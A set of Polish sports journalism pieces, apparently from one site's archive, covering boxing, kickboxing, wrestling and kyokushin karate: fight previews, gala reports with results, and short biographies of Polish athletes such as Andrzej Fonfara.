Atutem Amerykanina jest młodość, szybkość i zwinność. Jennings jest w stanie zagrozić Ukraińcowi. Może go zaskoczyć, ale musi być piekielnie skuteczny i wyprowadzić jeden decydujący cios. Jeśli myśli o innym rozwiązaniu może się srogo zawieść. Trudno przewidywać, żeby Kliczko przegrał na punkty. Jeśli rywalizacja trwa dwanaście rund to Ukrainiec może być niemalże pewny zwycięstwa. Jennnings musi wyczuć moment, aby naruszyć szczękę swojego przeciwnika i w tym upatrywać swoje szansy. Szansy na cztery pasy.

Ale szczerze mówiąc ostatnia porażka Ukraińca to prehistoria. Kliczko ostatni raz schodził pokonany z ringu w kwietniu 2004 roku. Powtórka po jedenastu latach? Wtedy lepszy od mistrza z Ukrainy okazał się Lamon Brewster. Jednakże warto zaznaczyć, że Kliczko dwa ostatnie pojedynki zakończył przed czasem. Alex Leapai i Kubrat Pulev byli kolejnymi, którzy nie potrafili znaleźć recepty na czempiona wagi ciężkiej. W Niemczech Kliczko czuje się jak w domu, a właśnie tam stoczył swoje ostatnie dwa pojedynki. Teraz wraca do Stanów Zjednoczonych. Do Madison Square Garden, gdzie ostatni raz wystąpił w lutym 2008 roku. Wtedy to Ukrainiec po dwunastu rundach pokonał Sultana Ibragimova.

Po raz kolejny dojdzie do powtórki. Kliczko może, a jego rywal musi. Na czempionie z Ukrainy nie ciąży zbytnia presja, chyba, że wywrze ją na nim publiczność zgromadzona w Madison Square Garden. Jednak Kliczko jest na tyle doświadczonym bokserem, że potrafi skupić się tylko i wyłącznie na pojedynku. Kwestia publiczności będzie dodatkowym obciążeniem dla Jenningsa. Można zaryzykować, że sportowo Amerykanin ma argumenty, aby zagrozić potężnemu rywalowi, gdyż jest szybki i zwrotny, ale w kwestii mentalnej może być gorzej. Dla Jenningsa będzie to walka w innym wymiarze i właśnie w takich warunkach rodzą się prawdziwi mistrzowie. Amerykanin musi walczyć z głową i szukać swojej szansy. Teoretycznie czas gra na korzyść mistrza z Ukrainy, jednak jeśli Jennings narzuci szybkie tempo to może być różnie.

Czy 30-latek będzie kolejnym, który dostarczy radości Amerykanom. Wilder stał się ulubieńcem rodaków, gdyż zdobył mistrzostwo świata w królewskiej kategorii. Jennings też chce spełnić swoje marzenia, a przy okazji być powodem do dumy dla Ameryki. Kolejny atak na dominatora z Ukrainy. Kliczko jak zawsze spokojny, ale ze świadomością upływającego czasu. Mądrość, którą posiadł przez całą swoją karierę stawia go w roli faworyta. Jennings musi wyjść z siebie i zaprezentować ponad dwieście procent swoich możliwości, aby znokautować Kliczko i zostać nowym mistrzem wagi ciężkiej.

KM

Andrzej Fonfara

Polski bokser urodzony 4 listopada 1987 roku w Radomiu. Aktualny mistrz świata federacji IBO w wadze półciężkiej.

Na zawodowym ringu Andrzej zadebiutował 3 czerwca 2006 roku w Ostrołęce. Tam pokonał na punkty Słowaka Mirosława Kubika. 30 kwietnia 2010 roku zdobył tytuł młodzieżowego mistrza świata Organizacji WBC Youth w bokserskiej wadze półciężkiej, pokonując Rogera Cantrella. 20 maja 2011 roku zdobył wakujący pas WBO NABO, nokautując w siódmej rundzie Anthony’ego Russella. 16 marca 2012 roku zdobył tytuł zawodowego Mistrza Stanów Zjednoczonych federacji IBO pokonując w trzeciej rundzie przez TKO Byrona Mitchella.13 lipca 2012 roku wygrał po dziesięciu rundach jednogłośnie na punkty z byłym mistrzem świata wagi półciężkiej IBF Glenem Johnsonem.16 listopada 2012 roku zdobył tytuł Mistrza Świata federacji IBO w kategorii wagowej półciężkiej, pokonując w siódmej rundzie przez TKO Toma Karpency’ego. Już w pierwszej rundzie Amerykanin zaliczył dwa nokdauny. Od drugiej rundy Polak walczył ze złamaną reką. W siódmej rundzie po ofensywnej akcji Karpency przewrócił się, zgłaszając następnie kontuzję barku i zrezygnował z dalszej walki. 16 sierpnia 2013 roku na gali na stadionie U.S. Cellular Field w Chicago wygrał walkę przez nokaut w dziewiątej rundzie z Hiszpanem Gabrielem Campillo. Stawką pojedynku był awans na pozycję lidera rankingu organizacji IBF. 6 grudnia 2013 roku w UIC Pavilion w Chicago wygrał przez nokaut w drugiej rundzie z Kolumbijczykiem Samuelem Millerem. 24 maja 2014 roku zmierzył się z Adonisem Stevensonem w walce o pas mistrza Świata federacji WBC. Andrzej przegrał jednogłośnie na punkty z Kanadyjczykiem. 1 listopada 2014 roku w UIC Pavilion w Chicago pokonał na punkty francuza Doudou Ngumbu. 18 kwietnia 2015 roku w kalifornijskim Carson, Fonfara wygrał przez techniczną decyzję sędziów w dziewiątej rundzie z byłym mistrzem świata WBC kategorii średniej Meksykaninem Julio Cesarem Chavezem Jr zdobywając tytuł WBC International. Przed przerwaniem walki, prowadzący na punkty Polak posłał rywala na deski w dziewiątej rundzie po wyprowadzonym lewym sierpowym. 

Edyta Witkowska

Polska zapaśniczka urodzona 24 lipca 1979 roku.  Była czołową polską zapaśniczką przełomu lat 90 i pierwszej dekady XXI wieku. Karierę rozpoczęła w 1994 roku w klubie KS „Platan” Borkowice gdzie opiekował się nią Józef Maciejczak. Startowała w kategorii wagowej 75 kg. W 1997 roku wystąpiła po raz pierwszy na mistrzostwach Europy juniorów, zdobywając brązowy medal. Rok później była już mistrzynią Europy juniorek, zdobyła także brązowe medale mistrzostw świata juniorek i seniorek. W 1999 roku zdobyła tytuł mistrzyni Europy i Świata juniorek, a w mistrzostwach seniorek zajęła piąte miejsce. W 2000 roku sięgnęła po seniorskie tytuły wicemistrzyni Świata i mistrzyni Europy. W 2001 roku zdobyła najcenniejsze tytuły w swojej karierze została Mistrzynią Świata i Mistrzynią Europy. Po zmianie kategorii wagowej od 2002 roku startowała w kategorii 72kg, w której nie odnosiła już takich sukcesów. W 2002 roku zdobyła brązowy medal mistrzostw świata. Edyta była wielokrotną medalistką Polski w zapasach. W 1998 i w 2001 roku zajmowała pierwsze miejsce a w 1996 i 1999 drugie miejsce. Od 2000 roku równocześnie z zapasami zaczęła trenować sumo i już w 2000 roku została Mistrzynią Europy w kategorii 80kg. W 2002 roku sięgnęła po mistrzostwo Świata w tej samej kategorii. W 2004 i 2005 roku została wicemistrzynią świata w kategorii +80kg. W 2008 roku zdobyła brąz indywidualnie i drużynowo. W mistrzostwach Europy zdobyła srebrny medal w kategorii + 80kg w 2009 roku, oraz ośmiokrotnie brązowe medale indywidualnie, a w drużynie złoto w 2010 roku, srebro 2007,2008,2009 roku i brąz w 2005. W 2005 roku triumfowała w zawodach World Games. Jest też wielokrotną mistrzynią Polski w tej dyscyplinie sportu. Do 2007 roku reprezentowała barwy Platana Borkowice, a od 2007 roku jest zawodniczką PTC Pabianice. 

Iwona Matkowska

Polska zapaśniczka urodzona 28 maja 1982 roku w Żarach.  Jej pierwszym większym sukcesem był brązowy medal mistrzostw Świata w Guangzhou w kategorii do 48kg. W 2010 roku zdobyła złoto wojskowych mistrzostw Świata w zapasach w Lahti, osiągnięcie to powtórzyła w 2014 roku  w Amerykańskiej bazie McGuire-Dix-Lakehurst.  Na mistrzostwach Europy zdobyła pięć medali, w tym jeden złoty w 2012 roku. W 2012 roku wystąpiła również w Letnich igrzyskach Olimpijskich w Londynie zajmując siódme miejsce w kategorii 48kg. Na mistrzostwach Świata w 2014 roku w Taszkencie Iwona w kategorii 48kg sięgnęła po tytuł wicemistrzyni Świata, przegrywając w finale z Japonką Eri Tosaką. Iwona jest żołnierzem Sił Powietrznych w stopniu starszego szeregowego.

Warszawskie medale w karate

W miniony weekend w stolicy Polski odbyły się mistrzostwa Europy w karate kontaktowym (shynkyokushin). Polacy wywalczyli szesnaście medali, ale tylko jeden w kolorze złotym.

Europejska Organizacja Karate powierzyła organizację czempionatu Polsce, co dla naszego kraju jest ogromnym zaszczytem oraz wyrazem zaufania ze strony europejskich struktur. Dwa dni zmagań na warszawskim Torwarze dostarczyły wielu emocji. W rywalizacji na płaszczyźnie juniorskiej i seniorskiej walczyło 350 zawodników z 26 krajów. Warto nadmienić, że Polska po raz drugi w historii miała przyjemność organizować mistrzostwa Europy. W 1987 roku Katowice gościły najlepszych karateków ze Starego Kontynentu.

Na warszawskim Torwarze nasi reprezentanci zostawili serce, zaprezentowali waleczność oraz oddanie dyscyplinie. Wszystko z poszanowaniem zasad i uznaniem dla rywala, co jest niezwykle cenne w karate. Dorobek szesnastu medali, na który złożyło się sześć krążków w rywalizacji seniorskiej i dziesięć w juniorskiej. Złoto przypadło Konradowi Kozubowskiemu z Opolskiego Klubu Karate Kyokushin. O krok od miana najlepszego zawodnika Starego Kontynentu był Maciej Mazur, jednak po dogrywce przegrał rywalizację z Walerim Dimitrowem. 24-latek uznał wyższość nie byle kogo, bo dwunastokrotnego mistrza kontynentu. Bułgar nie ma równych sobie, jego dominacja jest wszechobecna i nie widać kogoś, kto byłby w stanie zmienić ten stan rzeczy w kategorii +90 kg. Dla Mazura srebrny medal to kolejny sukces w karierze. Do tej pory polski karateka dwukrotnie wywalczył brązowe krążki na mistrzostwach Europy.

Ponadto, w dorobku seniorów znalazły się cztery brązowe medale. Wśród pań na najniższym stopniu podium stanęły: Agata Kaliciak (+65kg) z Wrocławskiego Klubu Karate Kyokushin oraz Paula Malikowska z Ippon Konstancin Jeziorna. Trzecie miejsce w kategorii 90kg kumite zajął reprezentujący TKS Karate Tarnowskie Góry Marek Wolny, w kategorii 80 kg kumite po brąz sięgnął Gerard Will ze Szczycieńskiego Klubu Karate Kyokushin. Nora Vaznelyte stanęła na drodze Agaty Kaliciak na drodze do finału. Polka radziła sobie bardzo pewnie, ale Litwinka powstrzymała marsz naszej zawodniczki po złoto. Kaliciak zdobyła medal na kolejnych mistrzostwach Europy, rok temu sięgnęła jednak po srebro. W rywalizacji juniorskiej zabrakło miejsca na najwyższym stopniu podium. Łącznie nasi młodzi karatecy wywalczyli dziesięć medali, w tym trzy srebrne i siedem brązowych.

W porównaniu z ubiegłorocznymi mistrzostwami Europy w Baku nasi reprezentanci zanotowali progres. Rok temu biało-czerwoni wywalczyli dziewięć medali, w tym dwa zdobyli seniorzy. Z Azerbejdżanu Polacy nie przywieźli złota, „ najdroższym” medalem okazało się srebro Agaty Kaliciak. Za rok kolejny czempion w Grecji, czy tendencja wzrostowa zostanie podtrzymana? Teraz przed Polakami start w mistrzostwach świata, które na przełomie października i listopada odbędą się w Tokio. Na dzień dzisiejszy biało-czerwoni mają do dyspozycji pięć miejsc.

KM

 

Ze smutkiem wracają do domu

Były wielkie ambicje i ogromne nadzieje. Nie udało się. Macedończycy dostali potężne lanie od polskiego teamu, a gala DSF Kickboxing Challenge po raz kolejny okazała się sukcesem oraz profesjonalnie zorganizowanym wydarzeniem.

Nie zabrakło artystycznych wrażeń, mocnych, soczystych ciosów oraz publiczności, wśród której zasieli m.in. Karolina Kowalkiewicz, Paweł Nastula czy Jan Błachowicz. Grupa DSF konsekwentnie czyni starania w kierunku promowania kickboxingu. 18 kwietnie w Arenie Ursynów odbył się mecz międzypaństwowy między Polską, a Macedonią. Ponadto, organizator zaplanował turniej wagi superciężkiej.

Macedończycy wrócą do domu ze spuszczonymi głowami. Nie tyle, że byli beznadziejni, gdyż zawodnicy ze Skopje posiadają dobry aparat techniczny, jednak w starciu z polskimi fighterami okazali się bezsilni. Spektakl rozpoczął Łukasz Wichowski, który zmierzył się z Dimitarem Gjorgievem. Jeden z najlepszych specjalistów w Polsce w formule full contact przejawiał ochotę do walki, co ujawniło się w ringu. Wichowski był ruchliwy, szukał kontaktu z rywalem, jednak pojedynku nie udało się rozstrzygnąć przed czasem. Mimo to werdykt był jednogłośny i nie pozostawiał żadnych wątpliwości. Polska prowadziła 1:0. Kolejnym, który wyszedł na warszawski ring był Kamil  Ruta. Mistrz Europy z Turcji w formule K-1 Rules zmierzył się z Mikim Ivanowskim. Ruta podczas gal grupy DSF przyzwyczaił widzów do skuteczności, szybkości i efektownego kończenia pojedynków. Nie inaczej było i tym razem. Zawodnik z Kobyłki nie miał litości dla swojego rywala, którego sędzia musiał dwukrotnie liczyć. Ivanowski w drugiej rundzie zasygnalizował, że rezygnuje z dalszej walki. Niskie kopnięcia Ruty zrobiły wrażenie na Macedończyku i odebrały mu chęci do dalszej rywalizacji. Wisienką na torcie miał być pojedynek Doroty Godziny z Kristiną Stojachevską o pas DSF Kickboxing Challenge w kategorii 56 kg. Panie doskonale się znały, gdyż wcześniej rywalizowały na poziomie międzynarodowym. Wtedy lepsza okazała się reprezentanta Polski. Teraz również Godzina potwierdziła swoją wyższość. Na początku starcia Polka zasypała rywalkę gradem ciosów i Macedonka znalazła się w opałach, jednak przetrwała napór zawodniczki DSF Team. Stojachevska wiedziała, że czekają ją ciężkie chwile. W drugiej odsłonie Godzina zwolniła i kontrolowała przebieg pojedynku. Stojachevska starała się mocno trafić Polkę, jednak ta skutecznie broniła się. Sędziowie byli jednomyślni – do Godziny trafił przepiękny pas. A Polska pokonała Macedonię pewnie 3:0.

Zaskoczony zwycięstwem był Tomasz Klimiuk. Zawodnik, który w półfinale turnieju wagi superciężkiej rywalizował z Wojciechem Stawickim, wygrał, choć według opinii wielu walka powinna trwać dalej. Klimiuk od początku ostro poszedł na rywala i pracował nad jego nogami. Stawicki był liczony na stojąco, deklarował dalszą chęć rywalizacji, jednak sędzia przerwał pojedynek. Poziom zawodowy powinien kierować się innymi prawami niż amatorski, ale decyzja arbitra jest niepodważalna. Można tylko i wyłącznie nad nią dyskutować. W drugim półfinale spotkali się Michał Bławdziewicz i Patryk Proszek. Zawodnik Palestry w pierwszej rundzie był dość aktywny, a później zgasł. Inicjatywa była po stronie Proszka, który walczył dość nonszalancko. Werdykt sędziowski zaskoczył wielu. Niejednogłośnie wygrał Bławdziewicz.

Maciejowi Grzegorzewskiemu nie udał się rewanż na Macieju Garbaczewskim. W pierwszej rundzie zawodnicy ostro ruszyli, co zakończyło się przetoczeniami w parterze. Ostatnia faza pojedynku to wymiany cios za cios, z których zwycięsko wyszedł Garbaczewski. Radosław Paczuski udowodnił swoją wartość. Mateusz Rycerski walczył o przetrwanie i ta sztuka mu się udała. Pewne zwycięstwo Paczuskiego, który może być kolejnym rywalem Kamila Ruty. Fighter DSF Team przegrał w Pucharze Polski z zawodnikiem z Radości i chciałby się zrewanżować. Tym razem na zasadach zawodowych, co wzbudziłoby dodatkowe emocje. Czy ta będzie?

Okaże się. Grupa DSF zaplanowała kolejną galę, która z pewnością będzie bogata i dostarczy wielu wrażeń. Tym razem miejscem zmagań będzie Włocławek.

Wyniki gali DSF:

Walki Pro-Am:
-75 kg: Daniel Kolasiński pok. przez decyzję Marcina Marciszewskiego
-65 kg: Jan Lodzik pok. przez decyzję Michała Królika
-67 kg: Kamil Szłapka pok. przez decyzję Michała Benbena

Walki zawodowe:
-81 kg Radosław Paczuski pok. przez decyzję Mateusza Rycerskiego
-75 kg: Kamil Jenel pok. przez decyzję Bartosza Dołbienia
-67 kg: Maciej Garbaczewski pok. przez decyzję Macieja Grzegorzewskiego

Półfinały turnieju w wadze superciężkiej:
+91 kg: Tomasz Klimiuk pok. przez KO w pierwszej rundzie Wojciecha Stawickiego
+91 kg: Michał Bławdziewicz pok. przez decyzję Patryka Proszka

POLSKA – MACDONIA 3:0:

-81 kg FC: Łukasz Wichowski pok. przez decyzję Dimitara Gjorgieva
-81 kg: Kamil Ruta pok. przez KO w drugiej rundzie Mikiego Ivanovskiego

Walka o pas DSF Kickboxing Challenge w kategorii do 56 kg:
-56 kg: Dorota Godzina pok. przez decyzję Kristinę Stojchevską

KM

Miszkin wyrównał rachunki

Czekał na ten pojedynek, aby udowodnić, że wcześniejsza walka i werdykt sędziów był niesprawiedliwy. Maciej Miszkin podczas gali Konspol Babilon Promotion w Legionowie udanie zrewanżował się Pawłowi Głażewskiemu.

Popularny „Głaz” zanotował drugą porażkę z rzędu. W grudniu w starciu o mistrzowski pas WBA wagi  półciężkiej już w pierwszej rundzie musiał uznać wyższość Juergena Braehmera. Głażewski wiedział, że zaprzepaścił ogromną szansę, ale na krajowym podwórku czekał na niego już kolejny rywal. Maciej Miszkin, który żądany był rewanżu za porażkę, dość kontrowersyjną dla wielu. Obaj pięściarze nie szczędzili sobie gorzkich słów, sympatia nie była fundamentem ich relacji, więc musieli do końca i jednoznacznie wyjaśnić sprawę ringowej wyższości.

Miszkin był zdeterminowany, Głażewski lekko spięty. Pięściarz z Sokółki od początku pojedynku dyktował tempo i traktował przeciwnika kolejnymi ciosami. Miszkin szukał swojej szansy. Głażewski w czwartej rundzie po sierpach ze strony rywala ugiął się na nogach. „Głaz” nie miał pomysłu na walkę. A Miszkin z każdą upływającą sekundą zwiększał swoją przewagę i tylko szczęście, a być może w pewnym stopniu determinacja i wola walki sprawiły, że Głażewski walczył dalej. W piątej rundzie „Handsome” potężnie trafił rywala czterdzieści sekund przed końcem. Chwiejny Głażewski jednak dotrwał do końca. Miszkin był pewny siebie i konsekwentny, a „Głaz” starał się coś zrobić, ale niewiele z tego wychodziło. Jego ciosy były wolne, często schematyczne i niecelne. Miszkin do końca kontrolował pojedynek. Sędziowie byli jednomyślni, gdyż inaczej być nie mogło. Punktowali 97-93, 99-91 99-91 dla Miszkina, który jednocześnie wywalczył pas WBA Baltic w wadze półciężkiej. Tym samym rachunki zostały wyrównane. Miszkin zwyciężył i udowodnił, że pierwszy pojedynek był tzw. wypadkiem przy pracy.

Na konferencję prasową przed galą Rafał Jackiewicz przyniósł … nocnik. Niecodzienna prowokacja może i zaskoczyła Kamila Szeremetę, ale nie wpłynęła na jego postawę ringową. Początek starcia spokojny, pierwsza runda na rozpoznanie. Już w kolejnej odsłonie zarysowała się lekka przewaga Szeremety, który wyprowadzał celne i mocne ciosy na tułów. Jackiewicz miał problem. Doświadczony pięściarz nie potrafił stawić oporu ciosom przeciwnika, które dochodziły do celu, a sam nie potrafił się przebić przez ręce 25-latka. Ósma runda należała do Jackiewicza, ale to było za mało. Starał się jeszcze w dziesiątej odsłonie, jednak zabrakło celność i kondycji. Szeremeta od drugiej rundy był konsekwentny, wyprowadzał więcej trafień i wygrał jednogłośnie na punkty.

Andrzej Sołdra nie odniósł kolejnego zwycięstwa na zawodowym ringu. Polski pięściarz już w drugiej rundzie musiał uznać przewagę siły Yevgenija Makhteienko. Udany debiut zaliczyła Oleksandra Sidorenko, która w czterorundowym pojedynku okazała się zdecydowanie lepsza od Bojany Liboszewskiej.

Wyniki gali w Legionowie:

Kat. półciężka: Miszkin pokonał jednogł.  na punkty Głażewskiego
Kat. super półśrednia: Szeremeta pokonał jednogł. na punkty Jackiewicza
Kat. super średnia: Makhteienko pokonał przez TKO Sołdrę
Kat. lekka: Siodrenko pokonała jednogł. na punkty Liboszewską
Kat. super półśredniej: Karpets pokonał niejednogl. na punkty Biskupskiego
Kat. super lekka: Dąbrowski pokonał jednogł. na punkty Abramenkę

KM

 

Stevenson już się boi!

Andrzej Fonfara pokazał, że jest bokserem ze światowej czołówki. Polak pokonał pięściarza o uznanej normie i mocnym nazwisku. Julio Cesar Chavez Jr. był bezradny wobec siły, precyzji i umiejętności Andrzeja Fonfary.

„Polski Książę” nie przestraszył się nazwiska i na bok odrzucił wszelkie obawy oraz zbędną uprzejmość dla przeciwnika. Na gali w Carson od pierwszego starcia Fonfara narzucił swój rytm i kontrolował przebieg rywalizacji. Już w pierwszej rundzie Chavez został zepchnięty do defensywy, co od razu pokazało, kto rozdaje karty w tym pojedynku. Dla Meksykanina był to debiut w nowej dla niego kategorii wagowej. Intensywne przygotowania doświadczonego pięściarza do startu w  półciężkiej z pewnością przepojone były ogromnym zaangażowaniem, jednak to było za mało. Fonfara realizował swój plan. Każdy element miał dopracowany niemal idealnie. Praca nóg, intensywność i siła ciosów sprawiały, że Chavez był bezradny i wiedział, iż tego akurat dnia ma do czynienia z rywalem w niezwykłej dyspozycji. Po pierwszej rundzie, w której dominował Polak do ataku ruszył były mistrz świata WBA kategorii średniej. Chavez zadawał ciosy na korpus, jednak w żaden sposób nie zaszkodziły one Polakowi. Ale już w kolejnej odsłonie Fonfara niczym huragan ruszył na swojego przeciwnika i seriami ciosów okładał bezradnego Meksykanina.

Chavez próbował zagrywek, które miały na celu narzucenie własnego stylu, jednak „Polski Książę” nie uległ. Fonfara postępował zgodnie ze wskazówkami trenera Sama Collony. Polak skutecznie operował lewym prostym, który hamował ofensywne zapędy Chaveza. W siódmej rundzie sędzia podjął dość kontrowersyjną. Obarczył Polaka karą odjęcia punktów za nieprzepisowe ataki barkami, jednak i to nie wpłynęło negatywnie na postawę Fonfara, który dalej skoncentrowany i pewny siebie kontynuował swoje dzieło. Polak w dziewiątej rundzie był bezlitosny dla Meksykanina, który po raz pierwszy w swojej karierze był liczony po upadku na deski. Chavez Jr. nie wytrzymał serii ciosów Fonfary. Mimo doznanego szoku Meksykanin wstał i kontynuował walkę. Co prawda dotrwał do końca dziewiątego starcia, ale w przerwie narożnik poddał pięściarza.

Dwudzieste siódme zwycięstwo na zawodowym ringu stało się faktem. Andrzej Fonfara rozbił rywala z najwyższej półki – utytułowanego i z nazwiskiem, co na pewno nie przejdzie bez echa. Zainteresowanie pojedynkiem było duże. Chavez chciał wrócić na szczyt i spróbować dobić się do walki o mistrzostwo świata, jednak musi zweryfikować swoje plany. O pojedynku o najwyższe laury śmiało może myśleć Fonfara, który przed rywalizacją z Meksykaninem podkreślał, że poważnie myśli o rewanżu z Adonisem Stevensonem. Polak powalił Kanadyjczyka na deski, jednak werdykt sędziowski był korzystny dla mistrza świata. Czy dojdzie do rewanżu i po raz kolejny na szali pojawi się pas WBC wagi półciężkiej?

KM

Starcie polsko – macedońskie i nie tylko

W Arenie Ursynów dojdzie do niezwykłego wydarzenia. Polscy fighterzy zmierzą się z wojownikami z Macedonii podczas gali DSF Kickboxing Challenge IV. Kto wyjdzie zwycięstwo z tego starcia?

Organizator chce dostarczyć kibicom wielu wrażeń i emocji. Do Polski wraca wielki międzynarodowy kickboxing w postaci meczu Polska – Macedonia. W programie imprezy uwzględniono turniej wagi superciężkiej w K-1 Rules. Tak prezentują się główne wydarzenia IV już gali DSF Kickboxing Challenge, a kto w niej wystąpi?

W  walce wieczoru zaprezentuje się  Dorota Godzina. Do tej pory zawodniczka nie doznała porażki na ringu DSF. Podczas ostatniego występu w Piasecznie Godzina uporała się z Gabrielą Bednarowicz, wcześniej pokonała Ewelinę Nowosielską. Teraz przed zawodniczką DSF Kickboxing Team kolejne wyzwanie, walka z zawodniczką z Macedonii. Godzina doskonale zna Krystinę Stojchevską, która będzie jej najbliższą rywalką. Polka pokonała reprezentantkę Macedonii podczas mistrzostw Europy 2014 w Mariborze. Teraz Stojchevska staje przed okazją do rewanżu, ale Godzina jest bojowo nastawiona i chce podtrzymać passę zwycięstw. Dodatkowo stawką pojedynku będzie pas CHAMPION organizacji DSF Kickboxing Challenge w kategorii do 56 kg.

Pozostałymi uczestnikami meczu Polska – Macedonia będą Kamil Ruta oraz Łukasz Wichowski. Mistrz Europy podczas poprzedniej gali DSF w Piasecznie szybko odprawił Krzysztofa Żukowskiego i zwyciężył w turnieju K-1. Rywalem Ruty będzie Miko Ivanovski. Jeden z najlepszych specjalistów w formule full-contact Łukasz Wichowski stanie do rywalizacji z Dimitarem Gjorgjievem. Trzy pojedynki, które określą wynik rywalizacji i wskażą lepszy team. Polska reprezentacja złożona z Godziny, Ruty i Wichowskiego to przede wszystkim stabilność, ogromna dojrzałość oraz umiejętności. W Arenie Ursynów nasi muszą z szacunkiem podejść do rywali, a w ringu udowodnić swoją wartość.

Kolejną atrakcją wieczoru będzie rywalizacja w wadze superciężkiej. W turnieju wystąpi dwóch aktualnych mistrzów low-kick 2015: Patryk Proszek oraz Tomasz Klimiuk. Celem rywalizacji jest wyłonienie najlepszego polskiego „ciężkiego”, a dodatkowo warto podkreślić, że starcia w tej wadze zawsze wzbudzają ogromne zainteresowanie. Walki mogą być wyjątkowo interesujące. Zwłaszcza rywalizacja Tomasza Klimiuka  z Wojciechem Stawickim, będzie to rewanż za finał mistrzostw Polski 2015 low-kick. W drugiej parze pojedynek stoczą Patryk Proszek i Michał Bławdziewicz.

Warto również zwrócić uwagę na pozostałe walki, w których zawodnicy będą mieli okazję wyjaśnić sobie pewne sprawy. Maciej Grzegorzewski ma z Maciej Garbaczewskim rachunki do wyrównania. Obaj panowie stoczyli zaciętą rywalizację w Pucharze Polski low-kick 2014, która była jednym z etapów walki o wyjazd na mistrzostwa Europy do Bilbao. Pojedynek wygrał Garbaczewski i pojechał na turniej, jednak to Grzegorzewski miał wyższe miejsce w rankingu PZKb. Wiele należy sobie obiecywać po starciu Jana Lodzika z Michałem Królikiem. Obaj zawodnicy prezentują bardzo ofensywny styl, co może być zapowiedzią efektywności w ringu. Warto przyjrzeć się Radosławowi Paczuskiemu, który pozbawił Kamil Ruty marzeń o tytule mistrza Polski w low-kick. Zawodnik Radość Boxing Team zmierzy się z Mateuszem Rycerskim. Po raz pierwszy w ringu DSF pojawi się utytułowany Wojciech Kosowski z warszawskiej Palestry, a jego rywalem będzie Kamil Jenel.

Karta walk:

3 walka meczu – Walka Wieczoru o Pas Mistrzowski DSF Kickboxing Challenge:

K-1 56 kg Krystina Stojchevska Macedonia vs Dorota Godzina DSF Kickboxing Team (X Fight Piaseczno)

2 walka meczu Polska Macedonia: K-1 81 kg Miki Ivanovski Macedonia vs Kamil Ruta DSF Kickboxing Team (Wicher Kobyłka)
1 walka meczu Polska – Macedonia: Full contact 81 kg Dimitar Gjorgjiev Macedonia vs Łukasz Wichowski DSF Kickboxing Team (X Fight Piaseczno)

Turniej wagi superciężkiej PRO:

K-1 91 kg Patryk Proszek (Gwardia Zielona Góra) vs Michał Bławdziewicz (Palestra Warszawa)
K-1 91 kg Tomasz Klimiuk (Human Białystok) vs Wojciech Stawicki (Spartakus Świdwin)

Walki rankingowe PRO:

K-1 70 kg Maciej Grzegorzewski (Human Białystok ) vs Maciej Garbaczewski (TKKF Siedlce)
K-1 65 kg Kamil Szłapka (TS Our Team Poznań) vs Eliasz Jankowski (Olimp Legnica)
K-1 75 kg Kamil Jenel (Paco Katowice) vs Wojciech Kosowski (Palestra Warszawa)
K-1 81 kg Radek Paczuski (Radość Boxing Team) vs Mateusz Rycerski (SKS KB Victoria Szydłowiec)

Walki rankingowe Pro-Am:

K-1 65 kg Jan Lodzik (Tajfun Legionowo) vs Michał Królik (Paco Katowice)
K-1 75 kg Daniel Kolasiński (Palestra Warszawa) vs Marcin Marciszewski (TKKF Siedlce)

KM

Meksykańska fala czeka na Fonfarę

W nocy z soboty na niedzielę kolejny pojedynek na zawodowym ringu stoczy Andrzej Fonfara. Rywalem polskiego pięściarza będzie były mistrz świata wagi średniej Julio Cesar Chavez Jr.

Fonfara staje przed nie lada wyzwaniem. Dla najlepszego polskiego półciężkiego pięściarza nadszedł czas, w którym musi iść do przodu i zaliczać kolejne poziomy doświadczenia. Fonfara zdobył już renomę, co powoduje, że z każdym kolejnym krokiem zbliża się do walki o mistrzostwo świata. Kiedy to nastąpi? Trudno określić, lecz pojedynek z Chavez może przybliżyć najlepszego polskiego półciężkiego do rywalizacji o pas.

Świat usłyszał o Fonfarze, kiedy ten posłał na deski Adonisa Stevensona. Polak było o krok od zdobycia mistrzowskiego pasa WBC. Po dwunastu rundach sędziowie orzekli zwycięstwo Kanadyjczyka, ale 27-letni Polak pokazał się z bardzo dobrej strony i świat ujrzał, że tkwi w nim ogromny potencjał. W ostatnim pojedynku Fonfara pokonał Doudou Ngumbu, czyli pięściarza, który pewnego poziomu nie przeskoczy. Umiejętności najwyższych lotów posiada za to Julio Cesar Chavez Jr.  Stawką pojedynku będzie tytuł WBC International w kategorii półciężkiej.

Meksykanin wraca na ring po rocznej przerwie. Dodatkowo wystąpi w nowej dla siebie kategorii wagowej, dlatego wiele czasu poświęcił na intensywne przygotowania do rywalizacji z Fonfarą. Chavez nie raz udowodnił swoje wysokie umiejętności, które potwierdził zdobywając tytuł mistrza świata WBC wagi średniej. Meksykanin jest niezwykle doświadczonym pięściarzem. Na zawodowym ringu stoczył ponad pięćdziesiąt pojedynków, w których zanotował tylko jedną porażkę. Pogromcą Chaveza okazał się Sergio Gabriel Martinez we wrześniu 2012 roku. Fonfara musi czerpać z Argentyńczyka, który z były mistrzem WBC wygrał na punkty. Polski półciężki liczy, że uda mu się znokautować Chaveza. Meksykanin ma świadomość, iż musi trzymać się na baczności. Doskonale zna potencjał i możliwości Fonfary, a pojedynek Polaka ze Stevensonem zrobił na nim wrażenie. – Myślę, że Andrzej Fonfara to jeden z najlepszych pięściarzy kategorii półciężkiej. Wszyscy pięściarze wiedzą kim jest Fonfara. Ten facet posłał na deski Adonisa Stevensona – powiedział Meksykanin.

Fonfara, który na konferencji prasowej nieco przypominał Chucka Norrisa w młodszym wydaniu, spojrzał głęboko w oczy Chavezowi. 27-letni bokser jest zdeterminowany, aby wygrać. Dla Polaka to ogromne wyzwanie, a zarazem szansa. Jeśli wygra po raz kolejny zrobi się o nim głośno, a w przypadku zwycięstwa będzie miał w ręku niezwykle mocną kartę. W dalszej perspektywie Fonfara myśli o rewanżu ze Stevensonem. – Nie ważne w jaki sposób, ale wygram ten pojedynek, a potem będę chciał rewanżu z Adonisem Stevensonem. Chavez to wspaniały pięściarz. On zadaje ciosy wyprowadzając kombinacje i dysponuje mocnym uderzeniem, ale jestem na to gotowy – mówił Polak na konferencji prasowej.

